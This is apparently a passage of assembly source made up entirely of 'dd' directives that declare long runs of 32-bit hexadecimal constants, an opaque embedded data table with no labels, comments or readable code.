dd 5BE9F198h, 0B5DC8300h, 56E80C1Dh, 0D06901D9h, 74F70521h
dd 25904042h, 3801873Eh, 3180D3FEh, 41D2BB9Eh, 0B11D4CCh
dd 74A180CBh, 0CF9013D3h, 7C2B4D51h, 3987585h, 217E023Ch
dd 6B804B8Bh, 0A500D7F4h, 9228B70Eh, 1C3C933h, 983E0952h
dd 49A19B2Ah, 3332E974h, 0DB8D0284h, 44B2E2B5h, 6CAB488Ch
dd 1BF5AA80h, 53027D95h, 304FEB92h, 0C99C6979h, 3643C010h
dd 2EFAA400h, 0BFE695Fh, 6C4050F9h, 0F1228830h, 0C800AEE4h
dd 0F55AEF77h, 1810363h, 0D15DF93Dh, 229FB701h, 0AAD40040h
dd 32221317h, 60BE015Ch, 508C4BAh, 34F8580Bh, 7C0D3318h
dd 79E226B1h, 0EDDF0057h, 0E61F5084h, 0A2114656h, 8E01DE08h
dd 3353D3DCh, 7CB9D4EAh, 27F07E00h, 828F07CAh, 0F12313FBh
dd 41E00506h, 26F801CEh, 0E6923E0Dh, 0E49A4C6Ch, 80BCE84Ch
dd 3D5EAA8Bh, 68A13F08h, 6116416h, 0A17EABECh, 8EB1FE09h
dd 16F907F4h, 208CCBF5h, 94A85CF1h, 0F9A06880h, 1B00B6EFh
dd 9AC0CD8Bh, 14E164Ah, 79235896h, 0C53F8588h, 7BEC60B7h
dd 26BEE288h, 127E524h, 0A1070B81h, 0DE842C80h, 7843D95h
dd 841ABD54h, 0C0E8A900h, 0B58D07BCh, 9BEF4DAh, 3330B890h
dd 18BD390Bh, 2E68A080h, 1EE9F436h, 87F24A53h, 0B00470F1h
dd 147ED83h, 0F4124B01h, 0F3C8C1D8h, 19542087h, 0F68AE024h
dd 1750C6EEh, 3DE6F2A5h, 0CC1C4E1Ch, 0B1BFBC00h, 60D965F5h
dd 63115854h, 0F330BA43h, 0A286931h, 0C3AD0091h, 796A9960h
dd 7F01411Ah, 0B7DB93B8h, 6083EC9Ah, 0F0E57363h, 4DE9480Ch
dd 6344157h, 2D476991h, 0C8FA28CFh, 0AF7FA1C0h, 3DF3A5h
dd 91D66A50h, 9384FAD1h, 35F5770Fh, 0BA448049h, 35C1E2FBh
dd 1F39D3B9h, 6155188Ah, 19C0F64Dh, 6B6EA6C9h, 0A9865874h
dd 1DAB5450h, 809E50D6h, 0BB590481h, 8CAC9127h, 63F3070Ah
dd 0F99C80FBh, 0C18B2A80h, 0E244938Ah, 0AD700CEEh, 4A7163F4h
dd 5034A000h, 0EB206B74h, 40BA588Eh, 41C60E00h, 1862987Ch
dd 9B2B4028h, 3C9FA00h, 0E94ACAF3h, 0F2A8C0D0h, 0B7F8C344h
dd 0D411AB0Fh, 0BC67E003h, 141C3A42h, 0F8A547B1h, 4A394584h
dd 0FD43EC4Dh, 7A9FB033h, 0EB60083h, 0B124C732h, 0CA03160Dh
dd 0F4BE2373h, 1839006Fh, 403B896Bh, 1600EF17h, 1CF8AA5Eh
dd 0C5CD4763h, 2041E991h, 659135A8h, 6328B1FCh, 0F744D8F4h
dd 45D50037h, 7D802C1Bh, 9A3C98E0h, 6BC51CE2h, 0AFC04D9Fh
dd 0AC4FD487h, 0CCC0C01Fh, 0DF84C8CAh, 0BE1540C2h, 2C44E9h
dd 4A0625D0h, 9B6C28C7h, 0F55B780Fh, 0AD93A097h, 0E7F2A0Fh
dd 468A1B0Ch, 0A250D78Ch
dd 41C06DE4h, 8027F89h, 3D7700E3h, 0FC6B7925h, 1A1CBBFFh
dd 297148DBh, 0C1BC4A63h, 0C853D83Ch, 0C44C0E24h, 0C1A88089h
dd 31C2F8E3h, 48199E92h, 80B6E444h, 59C062F3h, 0F7152E4Ch
dd 460F0753h, 60A663C8h, 232CF498h, 0A803091h, 0BAF24E92h
dd 0A4760166h, 0C2336A2Ah, 0BEDBC0EBh, 0EA542E54h, 49C3F040h
dd 9D0048D3h, 25EE0AFCh, 0B400D54Eh, 105E546h, 24E03BEBh
dd 0E218F7E2h, 0D12C4ABFh, 113E60F3h, 0EA08A6BCh, 0FD8D1D02h
dd 8204B319h, 1600DF4h, 0F84D9434h, 0AC05B717h, 0E133BE87h
dd 0C0B49400h, 77265469h, 74601BD9h, 7AA1A9E9h, 7E60424Bh
dd 0D94C2844h, 0F47DC10Ch, 0D193C85Fh, 0AD080011h, 968CBE40h
dd 0CCC4CB51h, 0E2554281h, 0FFB3F9BCh, 0BF3BAAD8h, 0EC0A7A03h
dd 0D0DA063Eh, 2A4AAD87h, 90C82050h, 1D88678h, 342AA377h
dd 422EBB51h, 9C460690h, 9D3B8C01h, 0AAD1D02Fh, 128A2D0h
dd 6ED7145Bh, 0EC6ACDA5h, 160C9B9Dh, 0D93846DBh, 0DAE93034h
dd 5B9524F1h, 1600E4E6h, 0DEC768CBh, 0E4DD5727h, 0F80F499Ch
dd 0C1D692C1h, 28A022D5h, 0BD0024EAh, 3F7DC941h, 3B9033D8h
dd 5200805Dh, 0AEB21AE7h, 0BE4CCAACh, 0DCE9866Ch, 133A0039h
dd 0C2E703C8h, 0E00EF99h, 0E33FCB7Bh, 0F701BF69h, 2E92AC58h
dd 3A0ED4Dh, 712A0609h, 916B361Eh, 0A4E6809Dh, 957AB900h
dd 9209F615h, 8060E4FCh, 0F2887063h, 88649D4h, 45880892h
dd 0FF253481h, 0E2CC0D48h, 729F006Bh, 7FB90828h, 948BF56h
dd 76F2002Ch, 0AB69AD32h, 5C280CA3h, 0D61E142h, 8FAEC600h
dd 5AD0566Ah, 1B362622h, 4CB302CAh, 284CD1D2h, 18F0EA90h
dd 41FF4D30h, 0F295D0h, 1B4ED610h, 96ED6CCAh, 507D2A04h
dd 4813F14h, 1908BEC1h, 0C8443892h, 0F7F200DDh, 0A458D7EAh
dd 927B5D5Fh, 6EE0BE04h, 8C4AE3h, 816F0057h, 419A4D59h
dd 793B6E9Dh, 64220938h, 0BD3C3B05h, 20C62C82h, 0F7EA3242h
dd 988349C0h, 1C966C4h, 887FD058h, 87E04C2Fh, 8C451D91h
dd 0A80B4843h, 3AC1CA6h, 0CA6C6DEEh, 0FE0108Dh, 9300D215h
dd 0D0182E46h, 1373F87Bh, 4E23C56h, 8CBFD304h, 6830F304h
dd 0EFCA89E3h, 1869DDE9h, 2F3391DBh, 0F01DC00h, 8F473138h
dd 5BDF0B11h, 28002017h, 0D4BE53E6h, 13E788A4h, 0B17290D2h
dd 0D46F4C32h, 48203EA2h, 0FD729Ah, 539844Ch, 0E044F799h
dd 0BB119E7Ch, 171F38F3h, 0FC80BCB1h, 55C1F614h, 78007553h
dd 4E42BEB5h, 5CB389D0h, 0C16234E2h, 0E86CD3F2h, 0C1684CE6h
dd 0AE8040E9h, 0BD301199h, 0CDDD04A3h, 0CC688DFFh, 590134FCh
dd 0AE237F2Bh, 0B07349EAh, 949224h, 0ACE7135h, 0B40F6408h
dd 820E341Ch, 419272B9h, 7D106998h, 34FB1878h, 6302F0CCh
dd 54FC6845h, 1B7D30F2h, 684240B9h, 0DCF427E4h, 5F006D29h
dd 5B38DC2Eh, 0E12D23h, 291C9AEDh, 1ADF2651h, 69994A00h
dd 0FE0B14D2h, 0C04588Eh, 0E3CAC1C2h, 0B13F98E6h, 7CDC527Bh
dd 502CB000h, 93EEC3A8h, 19D463C5h, 32A8588Ch, 740B2A7Bh
dd 1AE17508h, 84A06030h, 95F8C41Ah, 31630B62h, 4C0C5308h
dd 0C82630BBh, 182C4E72h, 89CBC4BBh, 1400B868h, 0A77DDA19h
dd 0A1B0FDh, 0E555015h, 0D54A035Ah, 0C9C69418h, 0E7FB31h
dd 0D877ABE3h, 0A2715715h, 0D567E0E1h, 0F035041Ch, 1A526A80h
dd 0E3C53DE5h, 0E6573981h, 0F0E78CD0h, 0D80BC3A0h, 0B9CF4094h
dd 0E19EEFDCh, 8D2B4087h, 0AB76975Bh, 0C833Ch, 0AA08F575h
dd 53B06DCAh, 0C32898B6h, 0B7D70050h, 6D75E15Bh, 0A4A2F8ECh
dd 17FB8C61h, 1147ED91h, 0D405E428h, 50D3C64Dh, 7C7EA08Ch
dd 723480D0h, 0D4641E05h, 90DC7D14h, 0CCF90F91h, 0AA814AC7h
dd 31B8CB0Fh, 0FBC769Ch, 0C45724h, 6027F0CFh, 18864DD5h
dd 41C869C4h, 0AD24EF11h, 4E01CC28h, 5FF5BEE9h, 7C2181D2h
dd 0BF8C6DB5h, 5AE93D8h, 7732EF67h, 949CD183h, 0E11003BAh
dd 2C76AD1Ah, 68D91D76h, 4B66899Ah, 7AEB40Ah, 0A345FED7h
dd 0B102F9E0h, 35EB19F3h, 7CED03h, 15D411ACh, 633D1CA4h
dd 5C1BA643h, 3010D510h, 88704A5Dh, 0A3DA4DF3h, 0C0C8B474h
dd 1D3C000Ch, 6E4077FCh, 390051ACh, 43C6E494h, 75AAA169h
dd 24E209E8h, 2C03CA0Ah, 0C09C59EDh, 0F21D480Ch, 9C2048D7h
dd 8C9CDCh, 77FD171Ch, 0BEC6D788h, 0B2861200h, 214D91Fh
dd 0E0704CBAh, 6D44E9C2h, 0DF44ACE6h, 7C1C53ACh, 32D58400h
dd 8BE280E5h, 0EAD441F1h, 0C25824DDh, 0C4D2E300h, 934E27FEh
dd 1414987Fh, 0EBAF14D1h, 85476409h, 0D249E410h, 4A7A2284h
dd 0B26C894Ch, 3FC3218Eh, 0B7850057h, 12442864h, 0B40407A6h
dd 0A5204A6Eh, 0D8C9834h, 8CFE4D2Ah, 94803493h, 0CB8E5552h
dd 0A9DE3B6Ch, 4DEA7F05h, 0E5C4CC2Eh, 4835388h, 0AD598845h
dd 9284FB6Bh, 145660A2h, 0F1ECC11Eh, 6251F371h, 351117C8h
dd 79681020h, 7A6D007Ch, 92107663h, 0A13D61AAh, 1A8F80E8h
dd 0E0EFF516h, 7646012Ch, 80D69386h, 4375DCBDh, 0FB196D00h
dd 0BE95FA0h, 7C4F3121h, 0D88B5648h, 0C73D6D30h, 616930B0h
dd 0CDB6A8h, 603461C5h, 0BC896F72h, 0BB07B8EEh, 3F542579h
dd 1B4AA203h, 51F96D31h, 7BFF6BC0h, 7FCC4D06h, 1D19474Fh
dd 40421CD7h, 8D979217h, 0EF0F6ACDh, 0B85D9136h, 482E6338h
dd 1D027F5Ah, 226CDB8h, 0B0718840h, 15EA45Ch, 671A3621h
dd 0C3F237D6h, 0C7390039h, 0A8CD7275h, 8A002E48h, 3826EFFCh
dd 0ECC2A3h, 91344C24h, 572FA081h, 0FC6D48C1h, 40B87769h
dd 0C954F418h, 46188C72h, 83116C7Ch, 37A900F0h, 0DAF17488h
dd 7300B71Dh, 0FC9B0DE4h, 0A0EA7BA0h, 14BD7EA8h, 0D428B4E9h
dd 0E37FE200h, 62D8C543h, 0BF80C400h, 4CDCCA4h, 0D35D0A37h
dd 808C464Fh, 0EA59DE69h, 9E00105Ch, 0ED5D723Ah, 2A998CACh
dd 0F9FC4504h, 0D2DAD010h, 9FA43Ch, 0FA29F555h, 3CC07FB1h
dd 0F86A44h, 8864479Ah, 39DBF7C6h, 7D6F40C1h, 98485DABh
dd 0B8020F54h, 78A04F32h, 4CD5059Dh, 0C5A66600h, 0EFCB2B7Ch
dd 55D04CFFh, 285A3078h, 4C16E839h, 2158D100h, 0E2D824AEh
dd 4BE152Eh, 36C280F0h, 0B0A00D61h, 0C580E4D5h, 177D5A00h
dd 6407FD12h, 2AF6377Bh, 43C06A59h, 0D08715C0h, 0FEC23B4Dh
dd 53A66505h, 88607FA2h, 19FFB37Bh, 0A033393Ch, 0AF83101Bh
dd 0F79B0F95h, 72CBB61h, 48F173F8h, 0FA0036E8h, 0D73555DEh
dd 7F348C47h, 0C4530FC1h, 15E7973h, 0EC264BC7h, 7BD0517Eh
dd 6140FBF5h, 0F48841DCh, 2F7900E3h, 96B25DAh, 0A012BCB5h
dd 30016E94h, 24FA7B2Dh, 20627042h, 0BFFF3BD1h, 0BAF81500h
dd 48CAC4A7h, 0A0CF00A3h, 8FC53086h, 7891AF63h, 98E47F15h
dd 0CCCBA0h, 0C582E924h, 0E31B8675h, 8A07667Dh, 0A8DAD25Ah
dd 90B89BC0h, 540C0AF5h, 44E08D7Bh, 0D0FC8CD6h, 42113300h
dd 94D3302Ah, 10A33BFEh, 28C07C19h, 1E91106Fh, 865E00A5h
dd 92C77E2Ah, 0FE00AB6Dh, 0DDFDF73Ah, 30132C20h, 6E31444Fh
dd 9F0028ADh, 0F530CEEBh, 0F161484h, 0D3394B12h, 89717A40h
dd 0E2317C7Fh, 0C025991Ah, 74613841h, 3C551C24h, 0CE0F64E3h
dd 1AC08BBFh, 6C3BC937h, 16577D13h, 0C6610C73h, 0A8311339h
dd 7C2E0024h, 0B0BB4E40h, 909FE700h, 15CBE01Ah, 42093D4h
dd 697BC3h, 32748576h, 798E00D0h, 801FBEF9h, 33447E52h
dd 1B4B161Ch, 0D23F00CEh, 0FB64A534h, 7C7E1E09h, 0D81410FCh
dd 3E917437h, 20688866h
dd 193640C0h, 0B126B3E4h, 4F11C81Ah, 7262307Ch, 37F433C1h
dd 0DCDA871Ch, 6CD8D700h, 0E23896ACh, 3F2600BCh, 0D9314875h
dd 1A24A6A9h, 0F3613CBAh, 6850331Bh, 0E819CB4h, 0BA7E4A24h
dd 1DA44661h, 597420CCh, 0FA6DD31Ch, 0EE5A7933h, 0D1FF00A9h
dd 0CDA7BE5Dh, 0DB79EEACh, 6FBB4401h, 22FC7B36h, 8BF6298Eh
dd 4351E3C2h, 4F2AD46Eh, 3C1DE87Bh, 803BDA8Ah, 4BA75C0Ch
dd 0AE46F17h, 0B04DF8A0h, 856A65C4h, 1B0C085Ch, 0D234D681h
dd 0F830E5FBh, 4C6E4CC3h, 78A35410h, 6BC8009h, 0CE603852h
dd 5FD52225h, 295B1A18h, 0D1AD51h, 0E48C26C7h, 463E91A4h
dd 905B6524h, 0EA4B4740h, 0B5750041h, 71118CD6h, 70F3001h
dd 185B1BD0h, 776529h, 8EAE4983h, 25D7A14Bh, 58342E00h
dd 0C8D90E0h, 0DCF01C78h, 0D284C09Bh, 7AF36DD7h, 0A20838B1h
dd 0C639BE57h, 38019CD9h, 807B37D5h, 6E698174h, 0D53CE7Dh
dd 0F3C3D880h, 0D60CD7A9h, 4DFCCD05h, 6C8A370Eh, 7AF9F831h
dd 8103166h, 85008D5Ch, 9945870Eh, 3EE816BEh, 0BC5A3097h
dd 0EC35001Ch, 3E31153h, 60F609FFh, 90823731h, 7C03C707h
dd 2AB93F55h, 4448788Fh, 32D7C3EEh, 18C62D0Ch, 0CAF54E00h
dd 2E539085h, 41360119h, 0CC44C732h, 0A0AFE3E4h, 0CB7670F6h
dd 400B8B30h, 89748F7Bh, 22F4376Fh, 64720029h, 4BDA82B1h
dd 0A69836EBh, 67705105h, 80407D4Ch, 0A3EA6919h, 0A0FD16AFh
dd 6DD4459Bh, 209034C0h, 1E5A3F5Ch, 2E57A988h, 325CF93h
dd 58FE6DF5h, 4C65B9B0h, 6F416960h, 10CFCAh, 0DDD6C931h
dd 6D1DD7E6h, 0F96C8504h, 0E4D9BDB6h, 3C40FDF1h, 0BB8A86Ah
dd 54242C04h, 0F8749419h, 5707B242h, 0DC11724Dh, 468B3670h
dd 207C906Fh, 9DE0A46Ch, 4FC42854h, 0CB596A60h, 98CDAFh
dd 183D2C81h, 0B6C47791h, 305BE105h, 0D08DBECAh, 0E37BA841h
dd 306BB448h, 0A649404Eh, 0ECF60B3Dh, 4692D00h, 37CF4D28h
dd 0B26E00E2h, 0A9D69511h, 0B93EFBA4h, 0CC8B2C6Dh, 0F9508069h
dd 245A6241h, 0C34C8F19h, 0E9709FC7h, 603AA628h, 0FE556844h
dd 626B0096h, 5E7CBFD3h, 577991C0h, 4958C904h, 10D1DEECh
dd 25111EF1h, 283432D4h, 0C432F492h, 0EC8B7023h, 34DE5448h
dd 0A5A800B5h, 0C930A02Bh, 94001DE7h, 0BEC33CD6h, 25A83CEh
dd 329FFFA2h, 0FE8E018Bh, 0F7115C14h, 64E85055h, 6670E8A9h
dd 67C90044h, 0C5BAE980h, 44F4ACA7h, 0E600A80Fh, 0EC05BD58h
dd 0CDC608Eh, 4DB1908Dh, 11A1BE0h, 6938A8h, 90C46A8h, 41056161h
dd 20E9F0D1h, 0CC003FD9h, 924C645Bh, 73F549EAh, 62B3F60h
dd 73F809CAh, 0EC27C10h, 1F5A41C4h, 0FCA164C8h, 980B526Fh
dd 7CFB6D82h, 519F7C82h, 0DC608029h, 0E39537B4h, 0C00D9471h
dd 60C1785Ch, 0ABC3410Dh, 35001E16h, 0B4D134FDh, 0B9C53774h
dd 307C8C6Ch, 21004C61h, 482E839Bh, 0AC03E8h, 3F1202A8h
dd 3DF7B5F9h, 24F42848h, 51609C37h, 0DDC18Ah, 20E1933Eh
dd 7B5B2FAFh, 9268F758h, 0B80BE1Dh, 119110Eh, 40F8949Ch
dd 0B073F7C2h, 6C597098h, 25288124h, 10846EDh, 0C4DCF74Ch
dd 0C24B64FFh, 9C948783h, 545173BAh, 31F0D787h, 904B9E02h
dd 74FFD4E8h, 1C80ACEAh, 155DE7D7h, 4581FC9Ch, 631928BDh
dd 34B0360h, 0C8773596h, 28ED1718h, 64882114h, 431FC873h
dd 6E4FD7h, 500E84B9h, 11E44843h, 59008279h, 0B3D86A4Dh
dd 4C727190h, 1E05C5F0h, 0DC805BA2h, 9301DD28h, 2B90FEEEh
dd 48677781h, 0B1467B1Bh, 0F49F7880h, 1093AF00h, 53425186h
dd 2C8736Bh, 230154FDh, 0DC84CEC1h, 73B2407Ch, 1306B7D9h
dd 281FDA96h, 608A7A18h, 0B882E9F4h, 0BD09458h, 0A0A28BD7h
dd 900BE86Fh, 0FEEE9D58h, 572B39D8h, 4083209Dh, 120691FAh
dd 2AE45C1Eh, 7874DB4Ah, 5BE23820h, 0D1C20043h, 0C581B8DAh
dd 4D3FCE6Fh, 939512ECh, 0CF367460h, 40D09688h, 0E5F1832Eh
dd 0A4A6DE00h, 6FBEAA8Dh, 7D8EC52h, 0EBF46ADDh, 8F34B4D3h
dd 0BB900080h, 679A54A4h, 37F00338h, 3F2075E5h, 0C606DAD0h
dd 871E93Fh, 0B89DF962h, 5808AA2Ch, 5400E6CEh, 9394F468h
dd 96F0B0h, 6461EDB3h, 0F7C3F1EAh, 24182F49h, 7BE37C6Fh
dd 5751006Eh, 14FC3B87h, 1B00DA71h, 88C0E37Fh, 307392D9h
dd 36291EF4h, 8094F17Bh, 0B8404BBBh, 0A5558BA6h, 98C53E0Bh
dd 3D3A9F00h, 0C2686661h, 0CBFC7558h, 0FB64B992h, 204A8829h
dd 26911AF0h, 673C5702h, 0F7DABEh, 0BB2AB5D6h, 6DF30306h
dd 22390AC5h, 0EB48265Bh, 39A0972h, 0B006800Eh, 1DD6928Dh
dd 455D1691h, 829637CCh, 28493F20h, 8820627Fh, 836B807Bh
dd 0DC66EB3Ch, 2BC24E00h, 2847D1F1h, 0CE0E008Dh, 91210A87h
dd 25605C1Bh, 422AFE81h, 13AF3B0Ch, 0B6663880h, 1F594729h
dd 51E30707h, 0F6103244h, 49C16888h, 5A8AB4D3h, 6F10E24h
dd 2CA8A4A1h, 0F1A6F589h, 9E816E62h, 2C76701Fh, 20F67B13h
dd 0B2E9D6F4h, 621F189Ch, 1600906Ah, 0B3E164BBh, 729C2025h
dd 48B800B6h, 96540C85h, 94999E73h, 0D6703127h, 5B80EC3Ch
dd 4A3C88C9h, 837EB51Dh, 0CE894B00h, 12B9D6B8h, 8EFC7C7Bh
dd 205A1968h, 0EEC4F19h, 92641232h, 34E4D362h, 0C83566B0h
dd 0D600E37Dh, 0CA0E1EACh, 93167422h, 817013A0h, 146EA2F4h
dd 310774B2h, 0D60CF56Ch, 7845E0BDh, 4C1C5844h, 50C480A4h
dd 380048F2h, 3BC659FDh, 0E80BDCCEh, 448262FBh, 3C330010h
dd 0A98F87BDh, 0A4022E05h, 48FBA33Bh, 8B88590Ah, 0A819FA6Dh
dd 7C2619A1h, 0BCF90F78h, 71E06BD5h, 0D244B7F4h, 19351803h
dd 80BD80C4h, 55E9FDF2h, 980CE889h, 0E63775Fh, 0B18EB083h
dd 0D093F780h, 6A1E999Fh, 2312C14Eh, 947CF84Ah, 0B40DF540h
dd 82B64C1Ah, 0A4848A2Bh, 1B04017Ch, 1C928711h, 0A90D1CD2h
dd 0AE0A7874h, 4B641A84h, 960AB818h, 62FEAF03h, 0C8532937h
dd 227CEF1h, 0C0E222F0h, 58D871B8h, 83BC0A1h, 25680CE1h
dd 7B4978E2h, 9FE8F958h, 82F0BB14h, 5A2664E2h, 365044ACh
dd 8C0F622Ah, 8FEAF400h, 97075F5Eh, 0B0D71A4h, 0CD9DD506h
dd 0D0EF1C19h, 0E40B25E9h, 0F02002h, 78756EFDh, 47833B40h
dd 34B7A28Ah, 55AA4238h, 0E7D8C011h, 0EE1B2ED9h, 2162162Ch
dd 0D89ED028h, 812C0685h, 73144F7Dh, 0AB4870B0h, 0E004D3B0h
dd 68817760h, 4EDBD626h, 0D36C2099h, 8500F4ABh, 2AF1422h
dd 9123247h, 288B3EBAh, 1705880Eh, 0D600C071h, 0AC01C7B4h
dd 24A6CA05h, 9C608B37h, 5945644Fh, 27F18044h, 7E006805h
dd 2048304Eh, 945B3E07h, 0E40480B0h, 781F3926h, 0A9305400h
dd 0FCC2328Ah, 2788B84Ah, 24815FAEh, 1737CCEh, 0B18F0E61h
dd 1C204B84h, 0C049F295h, 2831AA32h, 0F4460903h, 4B186B3Ah
dd 0A4C0F024h, 39310694h, 308F2813h, 8F828ED1h, 30427B9Ch
dd 4B3F6420h, 42006BB7h, 0DDB0F3CCh, 5C102938h, 4008100Bh
dd 6E110525h, 7D9C007Ch, 9892B466h, 4C04F551h, 6ED9841Dh
dd 0A45802AFh, 90C0F6F7h, 38B6095Ch, 0E31A3600h, 18C357Eh
dd 31078901h, 404CE4C2h, 1E60AA44h, 13D08726h, 67EB1C00h
dd 0E40F37Fh, 3A18D35Dh, 98C4F40Bh, 6474C546h, 27FE196Ah
dd 62243A98h, 0E58D0030h, 4D874E72h, 0E037DA04h, 28986B64h
dd 1070986Ah, 21241C1Bh, 0F88B81F5h, 975ACCA7h, 1437D7D0h
dd 0D9162490h, 0DC860013h, 2064BC6Eh, 293D6AACh, 0E31D00FAh
dd 0C4A2E60Ah
dd 58A079A9h, 50D890h, 7C8A16B6h, 9008958Eh, 0C89BC5D4h
dd 88140330h, 1F4E8D1Ah, 8119D435h, 341FC137h, 0EF26000Eh
dd 631A894Ch, 43007CD8h, 3D3CBEC1h, 738EFE0h, 8DE72ECAh
dd 7B3E6203h, 0D900B8E4h, 1AC32596h, 0A0F6FCA2h, 3969B2h
dd 0CF2D8D8Ch, 2F288F70h, 0E87B370Ch, 5B256127h, 0F7F022D7h
dd 0E4701912h, 0D2A4CCh, 26428EC7h, 0D104E6C2h, 842E3E01h
dd 9463587Ah, 5F6DCF40h, 255300F9h, 9CA40FECh, 4EFA32AFh
dd 0CB44EE1Fh, 3828D61Dh, 0F621E222h, 6BFF1437h, 5F10FC77h
dd 0A84C702Eh, 2B7F800Ch, 0A03853FAh, 0F9772558h, 6A1FE800h
dd 8FA3634h, 8F0010B2h, 0B7B8E93Dh, 83009C18h, 9B25BDB3h
dd 0ED71D1h, 0E3C0F901h, 0EF2260F1h, 217782Dh, 202780ECh
dd 0B2F934D6h, 0D467E900h, 43491315h, 246B78C2h, 0A347EBAh
dd 29940DABh, 0CBC881F8h, 0FCFD27E7h, 2104A27Eh, 74B6CE0Ah
dd 0C378C100h, 0C9DE48C8h, 72CD4A00h, 7B52FAh, 2204E8FFh
dd 0E7035E1Ah, 2BAFBF00h, 56B90582h, 48530023h, 4D6F5579h
dd 88012858h, 0DF606206h, 83C807Dh, 9640ED88h, 0A44C47DCh
dd 0F30603BCh, 7EA2E1BEh, 0A1266180h, 4885B001h, 7F720FCh
dd 385113FCh, 480173Eh, 0C0E883D4h, 6001A60h, 86638FDCh
dd 0C18F8FEh, 6AB0D7C2h, 5C915AF9h, 0E8833C1Fh, 0B06F5C15h
dd 834F40h, 1CC6B2C8h, 95F4926Eh, 7FC9DB00h, 0C2E770FEh
dd 962D6E76h, 6DD46F00h, 0E2003D63h, 70689608h, 66972Ch
dd 0B588F376h, 23C2D973h, 8BD75100h, 50EEC8Ch, 329000CBh
dd 0FA6203A0h, 50067E6Ah, 919DD7D5h, 41F89619h, 0E4A9ACDBh
dd 0C717375Fh, 4207E53h, 0EEAB4630h, 72010B13h, 0F0904CB6h
dd 4A000B54h, 2024F8C7h, 14B810Eh, 0FB1BDC67h, 305FECB8h
dd 0FE0B72B0h, 0E8BB2671h, 246E8D90h, 80283681h, 6D987B05h
dd 8604CFDEh, 68F44FD4h, 0CFB8891h, 4CEC3015h, 2D078457h
dd 0B404E3ECh, 4473D130h, 3C090028h, 6DC66CABh, 0C17B0797h
dd 80AC204Ch, 9E6864D1h, 7AF8B04Bh, 0D460E99Bh, 0C3078438h
dd 2F377003h, 0B2EFD9A0h, 7ED6055Fh, 81B043FAh, 7CD33F18h
dd 20518068h, 1FEB791h, 75E13E47h, 0E0137BF3h, 70358AF6h
dd 0E898607Fh, 0C89011FBh, 0AC1C005Bh, 0B07C86B5h, 7B34135Dh
dd 18CC31E4h, 80702C7Eh, 13CED2AEh, 0E1A70561h, 89CF9F4Bh
dd 11B821ACh, 7232F034h, 0D5DC0CBCh, 2A9B1866h, 285E3Bh
dd 0B8651714h, 9C7B9D22h, 0D136CF1Ch, 3CCA4CC0h, 2591A9D9h
dd 9818EE1Ah, 0EBF0BDA7h, 0B45943Eh, 4164F2ABh, 0D107A60h
dd 2D01A550h, 0FFECE958h, 40600C63h, 0D4E7007Fh, 46521770h
dd 0CC002D1Bh, 1245D7EBh, 1A59CDh, 6D88E37Ch, 0CA5E5A76h
dd 0C95B9C03h, 0A2482068h, 2C214008h, 950301E6h, 2199B689h
dd 861881D5h, 18797776h, 108009D5h, 0ECE145Ch, 3000CD7Dh
dd 2A2FD526h, 4099FEBAh, 6EF05272h, 9DB84B00h, 5F39CB3Fh
dd 0EEAF0271h, 437B5384h, 3C243D7h, 0BE8A5579h, 0ACA02D9Fh
dd 0C700CE2Ah, 27B2962Fh, 77B115h, 0ABBADD09h, 0C33DA658h
dd 3D1F93Fh, 0B276701Dh, 8D4800D7h, 25852C67h, 29EE6EE8h
dd 888BCA00h, 979DF3A6h, 50A97C1Bh, 1F8E82C9h, 0B0FEE9A4h
dd 9AFFC6B1h, 2B65E8F7h, 8F474800h, 9EEBA202h, 89763B7Ch
dd 545C1A80h, 8CD7683Dh, 8381660h, 0C0D43F20h, 0F97775C9h
dd 10DFD273h, 0C6ADA20Eh, 0F21DF1Fh, 625010AFh, 84E33EA0h
dd 65009A99h, 21A9358Ch, 368E475h, 47ED66C1h, 0B0CF03EBh
dd 7A2F8765h, 0A9B1C40Eh, 0FE8B408Fh, 5802CE68h, 3A02D352h
dd 8EFEB5Dh, 4B4AE490h, 0B3A51E04h, 9DC3D6ADh, 2E974AFh
dd 6F4DB80Eh, 0F4604C71h, 7600C622h, 7F925997h, 15DFC5C8h
dd 8A75B38h, 0D1723006h, 2600D91Fh, 0CAE78CF1h, 3BBF5Dh
dd 0B0B9A25Ch, 0CFF550B2h, 29DB1F30h, 0E224F215h, 564D008Fh
dd 0F9047B18h, 24909598h, 0ACFA3F01h, 0A2FE91D2h, 0BAFBA180h
dd 29E96CE8h, 8E3A0E3Bh, 5F8F5802h, 90CA740h, 0F7538ECh
dd 5D33C85Bh, 54BDD2E1h, 0B541849Dh, 5C90249Ah, 5D3520Eh
dd 0AEC5C75Bh, 0AF0C0977h, 0FC3D288h, 0D00D0A1h, 0A62016E6h
dd 0BC81A0A4h, 6811CC5Dh, 0FC613E0Ch, 3A761A4h, 931BFD4Ah
dd 6E98846Dh, 0D10447C0h, 0D66BF636h, 0C3C23F04h, 7174273Ch
dd 1D231A03h, 0AEFD69h, 0D6B56549h, 79925C3Eh, 67E0A703h
dd 1A52491h, 6E53C091h, 22222FD7h, 0C8321134h, 0F035D61Fh
dd 40EA7019h, 0A0A8AE00h, 5EFCD7CBh, 0BB240EB4h, 9F6B0Fh
dd 7D1E2F61h, 0EFEA3EE4h, 534E8C14h, 47007EA2h, 64DA8DD8h
dd 30E52Ch, 9A16798Fh, 0BF7B4F06h, 28302060h, 56D895Eh
dd 0D12CDED6h, 5BB780FEh, 0EE132D78h, 1BE11D5h, 0E48D4F3Bh
dd 8B14F8D1h, 88B5A032h, 8F490C0Dh, 2EBF6C00h, 0D676BAC6h
dd 0A08801B8h, 0DF6461Ah, 0AE144369h, 0B0A680F3h, 0C33B0313h
dd 0CCA91B05h, 0C792400h, 306DBE55h, 8DD929E4h, 0F8070115h
dd 60EDE9EAh, 0A3DC4820h, 4BB603EBh, 80A0D62Ah, 9960BF8Bh
dd 4D904258h, 8E1E0A21h, 608D2B7h, 5930F99Eh, 9AB9291Bh
dd 6D4FC078h, 2EF40119h, 0BC64C5ADh, 0D6A8C40Ah, 3AD70BFh
dd 8E468D4Eh, 0C1007CF4h, 0E5EE6F6Dh, 328BFCh, 3649DC81h
dd 9B335B7h, 0BE2064F8h, 34BF19EAh, 1038E8BBh, 0C08E143Ch
dd 2CD66C49h, 31EEBD18h, 5FD19914h, 3E090514h, 0A8C039B6h
dd 0F3B97FE9h, 0B20F1450h, 26A10E15h, 0F80A9EC5h, 92213D6Ch
dd 1933E50Ch, 4D682818h, 1AB600F4h, 0A82566Fh, 0AE002241h
dd 0E63F5BF6h, 0C7B46DECh, 5BE3CB0h, 0FD82298h, 0E016B641h
dd 0F3288B0Ch, 4A26B407h, 0DB143905h, 6C0D1414h, 90A481F8h
